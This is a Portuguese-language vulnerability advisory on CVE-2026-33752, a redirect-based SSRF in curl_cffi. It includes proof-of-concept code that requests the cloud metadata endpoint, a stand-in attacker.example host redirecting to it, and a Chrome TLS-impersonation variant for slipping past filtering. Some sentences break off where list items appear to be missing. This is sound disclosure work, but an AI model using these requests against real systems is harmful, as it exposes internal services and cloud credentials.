
Demonstra uma vulnerabilidade de SSRF baseada em redirecionamento no curl_cffi que permite acesso à rede interna, com código de PoC e análise da bypass de impersonação TLS.
CVE-2026-33752 (SSRF baseado em redirecionamento que leva ao acesso à rede interna no curl_cffi)
O curl_cffi não restringe solicitações a faixas de IP internas e segue redirecionamentos automaticamente por meio do libcurl subjacente.
Por causa disso, uma URL controlada por um atacante pode redirecionar solicitações para serviços internos, como endpoints de metadados de nuvem. Além disso, o recurso de impersonação de TLS do curl_cffi pode fazer com que essas solicitações pareçam tráfego legítimo de navegador, o que pode contornar certos controles de rede.
O problema vem de como o curl_cffi lida com solicitações de saída
Isso significa que, mesmo que um aplicativo permita apenas solicitações a URLs externas, um atacante pode
Como resultado, endpoints internos (como APIs de metadados de instância de nuvem) podem ser acessados.
Além disso, o curl_cffi suporta impersonação de impressão digital TLS (por exemplo, impersonate="chrome"). Em ambientes onde solicitações de saída são filtradas com base na impressão digital TLS, isso pode tornar essas solicitações mais difíceis de detectar ou bloquear.
Esse comportamento é semelhante a problemas de SSRF baseados em redirecionamento relatados anteriormente, como o CVE-2025-68616, em que redirecionamentos permitiam acesso a recursos internos não intencionais.
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/
Código da vítima:
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)
Resultado
import curl_cffi\
resp = curl_cffi.get(
"https://attacker.example/test",
impersonate="chrome")
Em alguns ambientes, isso pode ajudar a solicitação a contornar controles de filtragem baseados em TLS.
Um atacante que possa controlar a URL solicitada pode ser capaz de: